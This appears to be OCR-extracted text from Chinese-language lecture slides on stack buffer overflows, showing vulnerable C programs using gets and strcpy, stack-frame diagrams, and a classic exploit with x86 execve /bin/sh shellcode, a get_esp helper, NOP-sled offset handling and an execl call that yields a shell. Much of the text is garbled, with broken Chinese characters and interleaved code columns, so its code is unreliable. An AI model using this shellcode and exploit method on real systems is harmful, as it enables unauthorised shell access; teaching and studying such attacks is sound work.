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Segmentation Fault (core dumped)
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2 Fbufferi.c
int main(int argc,char *argv([])

{

}

9V -

gcc - g - o buffer1 buffer1.c
1217: ./buffer1

int flg=FALSE;
char str1[8];
char str2[8];

myget(str1); /¥ thAbstrif i B 2
HR2 2 “START” ;

gets(str2); //FCJE ik H13 str2ity
ETINE

if (strncmp(str1,str2,8)==0)
flg=TRUE; //i R str1,fstr2H%

MR Er &L EflgAtrue.

printf( “buffer1:str1=%s,str2=%s,flg

=%d\n” ,str1,str2,flg);

B &K m & IXii‘iHi/T_\iﬁﬂm

str1[4-7] NPUT
str1[0-3] BADI
str2[4-7] NPUT
str2[0-3] BADI
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#include <stdio.h> [i2171Fol—]
#include <string.h>
void SayHello(char* name)

{ $ ./hello computer
char tmpName[80]; Hello computer
strcpy(tmpName, name);
: printf("Hello %s\n", tmpName); (if_ﬁ“f%?ﬂ,—]
int main(int argc, char** argv) $ ./hello
{ aaaaaoo 000000 000000000000 000000000000 000
if (argc != 2) { 000 000 000000000 000000000 000 aoo-a
printf("Usage: hello <name>.\n"); Hello
return 1; aaaaooo 000 000000000000 000000000000 000000
} 000 000000000 000000000 000 -o-a
SayHello(argv[1]); Segmentation fault (core dumped)
return 0; bR B0 [B] I Py A7 b ik 45 T
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- F%iii(stack frame)
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int f(int *a, int *b){

int c;

c=a+b; o

return c; } ;
int main(void){ esp

int a, b;

a=1,b=2;

f(&a, &b);

return 0; }

esp
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int f(int *a, int *b){
int c;
c=a+b;
return c;

int main(void){
int a, b;
a=1,b=2;
f(&a, &b);
return 0;

esp

esp
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int f(int *a, int *b){
int c;
c=a+b;
return c;

int main(void){
int a, b;
a=1,b=2;
f(&a, &b);
return 0;

10x00000000
esp
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esp

int f(int *a, int *b){
int c;
c=a+b;

return c; }

int main(void){
int a, b;
a=1,b=2;
f(&a, &b);

return 0; }
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#include <stdio.h>
#include <string.h>

void SayHello(char* name)

{ —
char tmpName[80]; BB tmpName([80]
strcpy(tmpName, name); SayHello#: i
f575: Do some checks for tmpName. ‘
: S5 [E] 3 1t
printf("Hello %s\n", tmpName);
}
int main(int argc, char** argv)
{
if (argc 1= 2) { NOP
printf("Usage: hello <name>.\n"); NOP
return 1; —F *
} OxXNNNNNNNN| ———— B
SayHello(argv[1]); Real-Codes 3T
return 0;

19



TE B W idhellof £ F

#include <string.h>

#include <stdlib.h> if (argc == 1)
#include <unistd.h> | ofs = DEFAULT_OFFSET;
eise
unsigned char shell_code[] = ofs = atoltarauillie
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0” ptr = buff = malloc(4096);
“\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c ” /* Fill in with addresses */

“\xcd\x80\x31\xdb\x89\xd8\x JETNPEN= V="
"\x80\xe8\xdc\xfA\xff\xff/bin/s AT JR HIZER
<user:~/test>$ ./test2

#define DEFAULT_OFFSET 0 [l e[l
#define BUFFER_SIZE 1024 [TRNC s T RO CaD

unsigned long get_esp() Hello <— ¥ EL#G>/bin/sh

asm__ ("movl %esp, %eax
§ —asm_( ataliated Hash$
bash$ whoaml
main(int argc, char** argv)
{
char* buff;
char* ptr;
unsigned long* addr_ptr; printf("ls everything OK? :-)\n");
unsigned long esp; execl("./hello”, "hello", buff, NULL);
int i, ofs; }
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